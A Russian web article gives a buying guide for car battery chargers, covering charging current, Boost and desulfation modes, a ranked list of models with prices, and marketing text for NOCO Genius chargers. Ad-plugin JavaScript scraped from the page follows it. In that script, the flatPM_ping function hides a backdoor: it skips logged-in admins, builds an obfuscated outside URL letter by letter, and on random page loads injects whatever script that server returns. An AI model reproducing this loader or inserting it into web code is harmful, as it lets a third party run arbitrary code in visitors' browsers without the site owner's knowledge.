    Первый параметр, который необходимо учитывать, выбирая устройства для аккумулятра, это их предназначение. Есть три разных типа: зарядные, пуско-зарядные и пусковые. Тут, в принципе, все понятно: первые выполняют только функции зарядки, последние созданы для запуска двигателя, вторая группа может с успехом выполнять обе эти задачи. Кроме того, бывают также портативные зарядные устройства для автомобильного аккумулятора, которые могут пригодиться, если вам нужно запустить двигатель при севшей АКБ в «степи глухой», где нет розеток.
    Разумеется, пуско-зарядные устройства кажется более рациональным приобретением, хотя и стоят дороже. Но для функции запуска двигателя такому девайсу необходимо питание. Если вы живете в частном доме или у вас есть электрифицированный гараж, вполне можно купить и пуско-зарядное устройство, в остальных случаях достаточно обычного зарядного.

    Зарядки для автомобильных аккумуляторов тоже бывают разные, а точнее, импульсные и трансформаторные. Вторые обычно больше по размерам, поскольку в них применена схема из трансформатора и выпрямителя. Для обычного бытового использования несколько раз в год удобнее применять импульсные ЗУ: более современные, надежные и компактные.

    На что еще обратить внимание

    Следующим моментом, на который следует обратить внимание при покупке зарядного устройства, это ток, при котором происходит процесс. Оптимальной является ситуация, когда ток выставляется на 0,1*С, где С ─ емкость АКБ. Таким образом, если в вашем автомобиле установлена батарея емкостью 62 Ач, ток зарядки для нее должен не превышать 6,2 А. А вот меньше можно, но зарядка будет растянута во времени.

    Сегодня во многих зарядных устройствах предусмотрен режим быстрой зарядки, известный как Boost. Он нужен, когда вам нужно быстро дать аккумулятору заряд, достаточный, чтобы запустить мотор авто. Это происходит за счет того, что на АКБ подается достаточно мощный ток и процесс зарядки таким образом становится быстрее, однако, хотя достичь желаемого можно в таком режиме Зарядные устройства в этом режиме выдают увеличенный ток зарядки и процесс ускоряется. В таком режиме примерно за 15─20 минут можно зарядить батарею достаточно для пуска мотора. Однако часто применять этот режим не следует, поскольку для аккумулятора это просто-напросто вредно.

    Однако и в режиме Boost ток, подаваемый на АКБ, не должен превышать стандартное значение больше, чем на 30%.

    Итак, наша задача при покупке найти такое зарядное устройство, чтобы ток зарядки был чуть повыше, чем по оптимальному расчету. Тогда и ЗУ будет работать в рамках своих возможностей, и аккумулятор будет хорошо заряжаться. Самые простые модели зарядных устройств имеют ручную регулировку силы тока, но большинство все же умеют работать в автоматическом режиме. И выбирать нужно именно такие. Именно одно из них может заслужить лавры как лучшее зарядное устройство для автомобильного аккумулятора.

    Автоматические ЗУ обычно имеют защиту от неправильного подключения — на случай, если вы перепутаете клеммы. С ними все просто: подсоединили аккумулятор, включили в сеть (или кнопкой) и ждете, пока процесс закончится. Электроника сама регулирует силу тока для оптимальной зарядки.

    Режим десульфатации

    Это очень полезная функция зарядных устройств, которой не стоит пренебрегать, поскольку при неблагоприятных погодных условиях или после глубоких разрядов на пластинах аккумулятора образовываются сульфаты серной кислоты, а плотность электролита при этом падает. Как следствие, снижается и емкость электролита. Чтобы восстановить эту характеристику, можно использовать режим десульфатации .
    По сути, это специальные циклы заряда — разряда. Ставите АКБ на зарядку, а ЗУ — в режим десульфатации, и вся этак конструкция работает и работает — обычно, несколько дней. В процессе сульфаты уничтожаются, а пластины очищаются, емкость аккумулятора восстанавливается. Надеемся, что этот материал помог вам определиться с тем, каким должно быть зарядное устройство для автомобильного аккумулятора: как выбрать его и как им пользоваться.

    Рейтинг зарядных устройств для автомобильных аккумуляторов

    Чтобы вам было проще приобрести такое полезное устройство, как ЗУ для автомобильного аккумулятора, мы подобрали Топ-5 наиболее надежных и фунциональных зарядок, это, несомненно лучшие зарядные устройства для автомобильных аккумуляторов 2018-2019 гг.

    TELWIN NEVADA 15 110Вт 12/24В 9/4.5А 2.5кг

    Это относительно недорогое зарядное устройство от проверенного производителя, специализирующегося именно на разработке пуско-зарядной техники. ЗУ выдает ток от 4,5 до 9А и может работать в двух режимах напряжения: 12 и 24 вольта, подходя таким образом и для легкового, и для грузового автомобилей. Кроме того, девайс защищен производителем от перегрузок и того, что будущий хозяин перепутает полярность клемм.

    Стоимость этого устройства составляет 4,5 тыс. рублей.

    Battery Service Expert PL-C010P

    Немного более дорогое зарядное устройство — Battery Service Expert PL-C010P отличается простотой и универсальностью. Главная особенность здесь — возможность выбора максимального зарядного тока, таким образом разрешая дискуссию о том, как лучше заряжать аккумулятор: постоянно регулируя ток вручную или же положившись на автоматику. Здесь вы можете выбрать любой режим. ЗУ дает возможность выставить разные значения зарядного тока: 2,5, 6 и 10 А. При этом для каждого из значений предусмотрены автоматические программы: восстановление, объемный заряд, абсорбция заряда, режим хранения и циклы для батарей AGM, зарядка в мороз. Благодаря такой гибкости достигается широкий емкостей аккумуляторов — от 5 А·ч до 230 А·ч.

    Стоимость такого зарядного устройства стартует от 7 тыс. рублей.

    Bosch C3

    Это устройство — также от проверенного производителя, хоть и собрано в Китае, но не обманывает ожиданий. Bosch C3 заряжает АКБ с максимальным током 3,8 А, при этом емкость заряжаемых аккумуляторов может составлять от 1,2–120 А·ч.

    Производитель предлагает несколько автоматических режимов работы устройства.
    Сюда входят режим заряда батареи 6 В. Заряд производится током 0,8 А до напряжения на клеммах 7,2 В; режим заряда аккумулятора небольшой емкости (до 14 А·ч). Заряд производится током 0,8 А до напряжения на клеммах 14,4 В, а также режим заряда батарей большой емкости (свыше 14 А·ч), заряд холодной батареи или батареи AGM. Кроме того, имеются режимы импульсного заряда и постоянного подзаряда, которое включается после окончания режима заряда.
    К минусам этого устройства относится лишь то, что оно не может все же зарядить глубоко разряженный аккумулятор.
    Стоимость устройства составляет около 3,5 тыс. рублей

    «Автоэлектрика» Т-1051

    Это исключительное в своем роде ЗУ, полностью разработанное и собранное в России. Оно и внешне отличается от прочих, имея свою логику работы, оригинальную конструкцию и даже цвет.Максимальный зарядный ток здесь составляет 9 А, минимальный – 0,1 А. Емкости АКБ, с которыми может работать данная модель, – от 6 до 240 А·ч. Для всех режимов работы используется технология заряда, называемая «4П» (процедура последовательных пропорциональных приращений). Устройство умеет работать в трех режимах: нормальный заряд батареи 12В, ускоренный заряд и режим реанимации. Если говорить о защиты, то производитель предусмотрел здесь переполюсовку и КЗ. К минусам здесь смело можно отнести эргономику и металлический корпус, все же такое решение — прошлый век, а также то, что ЗУ надопо икончании заряда отключать от аккумулятора. К плюсам, бесспорно, относится способность поднять аккумулятор из глубокого разряда.
    Стоимость этой зарядки составляет около 4 тыс. рублей.

    Это устройство просто необходимо для автолюбителя, который много ездит зимой.

    Зарядные устройства

    Ультрабезопасное интеллектуальное зарядное устройство NOCO Genius G750 идеально подходит для зарядки аккумуляторов мотоциклов, мотовездеходов, снегоходов, личного водного транспорта, газонокосилок и других средств. Устройство также очень эффективно для поддержки аккумуляторов автомобилей, плавсредств, домов на колесах, газонно-садового оборудования и аккумуляторов глубокого разряда. Компактное и мощное устройство позволяет заряжать аккумуляторы в 2 раза быстрее, чем традиционные зарядные устройства, и является одним из самых безопасных и самых прогрессивных зарядных устройств на рынке. Зарядка полностью разряженных свинцово-кислотных аккумуляторов емкостью до 30А/ч с нулевым риском перезаряда.

    Безопасное подключение к аккумулятору 24 часа в сутки 7 дней в неделю. Превосходная эффективность и универсальность. Зарядка 6-вольтовых и 12-вольтовых аккумуляторов и восстановление поврежденных аккумуляторов. Устройство подходит для микрогибридных старт-стопных автомобилей и совместимо с электрическими системами CANBUS.

    Ультракомпактное, портативное, энергоэффективное устройство защищено от ударов, УФ и воды (IP60). Легко подключается к любой розетке переменного тока. Устройство активно контролирует аккумулятор и обеспечивает безопасную и эффективную зарядку. Оснащено технологией защиты от иcкрообразования и обратной полярности. Прогрессивные средства диагностики автоматически выявляют неисправный, поврежденный или закороченный аккумулятор. Для просмотра обзора перейдите по ссылке: Обзор

    Компактность и удобство пользования.

    Все зарядные устройства NOCO Genius созданы с заботой о пользователе. Простой интерфефйс позволяет изменять режимы заряда аккумуляторной батереи нажатием одной кнопки, светодиодные индикаторы показывают состояние заряда. Встроенная технология UltraSafe обеспечивает безопасность, сводя к минимуму риск повреждения аккумулятора и травмы пользователя в процессе заряда.

    Режим стандартных 12-ти вольтовых аккумуляторов.

    Для заряда 12-ти вольтовых жидкостных, гелевых, AGM и EFB — аккумуляторов, а также необслуживаемых и кальциевых аккумуляторов.

    Режим стандартных 6-ти вольтовых аккумуляторов.

    Для заряда 6-ти вольтовых жидкостных, гелевых, AGM и EFB — аккумуляторов, а также необслуживаемых и кальциевых аккумуляторов.

    Добро пожаловать в будущее!

    Пришла пора утилизировать Ваше старое зарядное устройство. Технологии изменились. Большие и тяжелые зарядные устройства остались в прошлом. Наступила новая эра технологии заряда аккумуляторов. В основе всех зарядных устров NOCO Genius — современная высокочастотная и высокоэффективная платформа. Благодаря этому зарядные устройства для автомобильных аккумуляторов NOCO Genius не только намного легче и компактнее, но и намного функциональнее, эффективнее и безопаснее. Они на 97% меньше по размеру и на 98% эффективнее в течении всего срока службы. Корпус старого зарядного устройства стоит больше, чем технологии у него внутри.

    Ваш аккумулятор в безопасности.

    Поддержка заряда без риска перезаряда.

    Перезаряд аккумуляторной батареи — один из самый простых способов уменьшить срок его службы. Наши зарядные устройства имеют несколько уровней искусственного интеллекта для отслеживания активности аккумулятора и активации и отключения заряда при необходимости. Это обеспечивает невероятно безопасный заряд и позволяет не беспокоиться даже тогда, когда зарядное устройство подключено к аккумулятору целый год.

    Полная совместимость заряда аккумуляторо с технологией CANBUS.

    Заряжайте аккумуляторы мотоциклов BMW и других транспортных средств с технологией CANBUS.

    Технология CANBUS позволяет легко поддерживать полный заряд и рабочее состояние аккуиуляторов мотоциклов BMW, Ducati, Triumph и Harley-Davidson. Устройство в полной мере использует возможности новейшей технологии CANBUS. Оно свободно коммуницирует с бортовой компьютерной системой и подключается через разъем прикуривателя (12 вольт) даже при выключенном зажигании и полном заряде аккумулятора. Это автоматический процесс, который осуществляют все интеллектуальные зарядные устройства NOCO Genius.

    12-ти вольтовый кабель с универсальным разъемом для систем CANBUS продается отдельно.

    Готовность к работе

    Невероятная простота использования

    Включите, настройте и забудьте. Универсальность и гениальность зарядных устройств NOCO Genius состоит в том, что они могут заряжать аккумуляторы самых разных технологий и применения. Автомобили, морской транспорт, спортивный моторный транспорт, садовое оборудование и аккумуляторы глубокого разряда. Зарядное устройство NOCO Genius G750EU способно восстанавливать утраченную емкость аккумуляторв практически любых транспортных средств и оборудования. Оно подходит для аккумуляторов с популярными химическими свойствами: жидкостных, гелевых, AGM и EFB — аккумуляторов микрогибридных страт-стоп систем транспортных средств.

    Память

    При выключении питания или случайном отключении из розетки устройство запоминает последний используемый режим заряда АКБ. Поэтому Вам больше никогда не придется возвращаться к разряженному аккумулятору.

    Упрочненность

    Устройство NOCO Genius G750EU имеет степень защиты корпуса IP60 и защищает от воды, ударов, грязи и пыли. Оно легко переживет падение и наезд автомобиля.

    Встроенная защита

    Безопасность — наш главный приоритет. Поэтому зарядное устройство имеет множество встроенных уровней защитыи автоматически выявляет аномальные условия заряда аккумуляторной батареи.

    5 лет гарантии

    Наши продукты сделаны на совесть. Именно по этому мы предлагаем беспрецедентную гарантию и наилучшее техническое обслуживание.

    Прогрессивная диагностика
    Для определения и более эффективного решения проблем

    Аккумуляторы далеки от совершенства. Если что-либо не работает должным образом, то для поиска решения нужно сначала понять проблему. Прогрессивные средства диагностики анализируют аккумулятор и при обнаружении проблемы сигнализируют о конкретных ошибках. Характер мигания индикаторов указывает на проблему, позволяя быстро ее решить.

    Однократное мигание: аккумулятор не удерживает заряд, требуется профессиональная проверка.
    Двукратное мигание: возможно короткое замыкание аккумулятора, требуется профессиональная проверка.
    Трехкратное мигание: напряжение аккумулятора слишком высокое для выбранного режима зарядки. Еще раз проверьте соответствие аккумулятора выбранному режиму зарядки.
    Индикатор ошибки постоянно горит красным: обратная полярность, поменяйте полюса при подключении к аккумулятору.
    Индикатор режима ожидания постоянно горит оранжевым: напряжение аккумулятора слишком низкое, зарядное устройство не может его обнаружить.

    Зарядка и поддержка аккумулятора
    В чем разница и как выбрать нужно вам зарядное устройство?

    Случайно оставили включенными фары? Вам понадобится зарядное устройство, чтобы полностью зарядить аккумулятор. Время зарядки — одно из главных отличий между моделями зарядных устройств Genius. Все модели оснащены продвинутой технологией интеллектуальной зарядки NOCO, при этом чем выше модель, тем выше мощность. Полностью разряженный аккумулятор — очень редкое явление при нормальном использовании автомобиля. Поддержка аккумулятора включает поддержку полного заряда, удаление и предотвращение сульфатации и обеспечение работоспособности аккумулятора. G750 способно поддерживать аккумуляторы крупногабаритных средств. Это отличное экономичное решение для продления срока их службы в тех случаях, когда не требуется полная зарядка.

    Практичность и компактность
    Невероятная мощность при малом размере

    Продуманное сочетание электротехнического проектирования и промышленного дизайна позволило создать мощное зарядное устройство очень малого размера. Устройство использует прогрессивную технологию переключения режимов зарядки и имеет встроенный процессор, который тщательно контролирует процесс зарядки, обеспечивая невероятную эффективность.

    Несколько способов заряда

    Перманентно подсоедините круглые клеммы к труднодоступным аккумуляторам различных транспортных средств, чтобы упростить их зарядку. Заряжайте аккумулятор через 12-вольтовый разъем или OBDII-разъем в автомобиле или просто увеличьте предел досягаемости ваших устройств. Во всех случаях система X-Connect обеспечивает надежное погодоустойчивое соединение с максимальным протеканием тока, а также позволяет быстро и просто соединять различные устройства.

    • — Зарядное устройство NOCO Gemius G750EU
    • — Съемные зарядные крокодилы с системой X-Connext
    • — Руководство пользователя и гарантия
    • — Входное напряжение переменного тока: 220-240 В, 50-60Гц
    • — Напряжения аккумуляторов: устройство заряжает 6- и 12-вольтовые свинцово-кислотные аккумуляторы
    • — Типы аккумуляторов: устройство подходит для жидкостных, гелевых, кальциевых AGM- и EFB-аккумуляторов, а также любых аккумуляторов необслуживаемого типа
    • — Емкость аккумуляторов: устройство идеально подходит для аккумуляторов емкостью от 2 до 30 ампер-часов.
    • — Может использоваться для поддержки аккумуляторов любой емкости.
    • — Сила тока при зарядке: 0,75 ампер
    • — Потребляемая мощность: 20 ватт (максимум)
    • — Степень защиты оболочки: IP60
    • — Кабель постоянного тока: 152 см, диаметр 1,024 мм

    Ультрабезопасное интеллектуальное зарядное устройство G1100 идеально подходит для зарядки аккумуляторов мотоциклов, мотовездеходов, снегоходов, личного водного транспорта, газонокосилок и других средств. Устройство также очень эффективно для поддержки аккумуляторов автомобилей, плавсредств, домов на колесах, спортивного мототранспорта, газонно-садового оборудования и аккумуляторов глубокого разряда. Компактное и мощное устройство позволяет заряжать аккумуляторы в 2 раза быстрее, чем традиционные зарядные устройства, и является одним из самых безопасных и самых прогрессивных зарядных устройств на рынке.

    Зарядка полностью разряженных свинцово-кислотных аккумуляторов емкостью до 40А-ч с нулевым риском перезаряда.

    Безопасное подключение к аккумулятору 24 часа в сутки 7 дней в неделю.

    Превосходная эффективность и универсальность. Зарядка 6-вольтовых и 12-вольтовых аккумуляторов и восстановление поврежденных аккумуляторов. Устройство подходит для микрогибридных старт-стопных автомобилей и совместимо с электрическими системами CANBUS.

    Ультракомпактное, портативное, энергоэффективное устройство защищено от ударов, УФ и воды (IP65).

    Устройство активно контролирует аккумулятор и обеспечивает безопасную и эффективную зарядку. Оно оснащено технологией защиты от искрообразования и обратной полярности.

    Прогрессивные средства диагностики автоматически выявляют неисправный, поврежденный или закороченный аккумулятор.

Ссылка на основную публикацию
Adblock
detector
":'':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('
'+c+"
"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'
Закрыть через '+o.how.outgoing.timer_count+"
":'':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('
'+c+"
");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;eflat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_subflat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub.flatPM_sidebar)");0<_.length t="ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t *").last().after('
'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/]*)\/>/gi,d=/",""],thead:[1,"","
"],tbody:[1,"","
"],colgroup:[2,"","
"],col:[3,"","
"],tr:[2,"","
"],td:[3,"","
"],th:[3,"","
"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0/gm,"").replace(//gm,"").trim(),e.code_alt=e.code_alt.replace(//gm,"").replace(//gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='
'+a+" через "+o+'
'+n+'
',i=e.once;l(t).each(function(){var e=l(this);e.wrap('
');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n'):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};
Яндекс.Метрика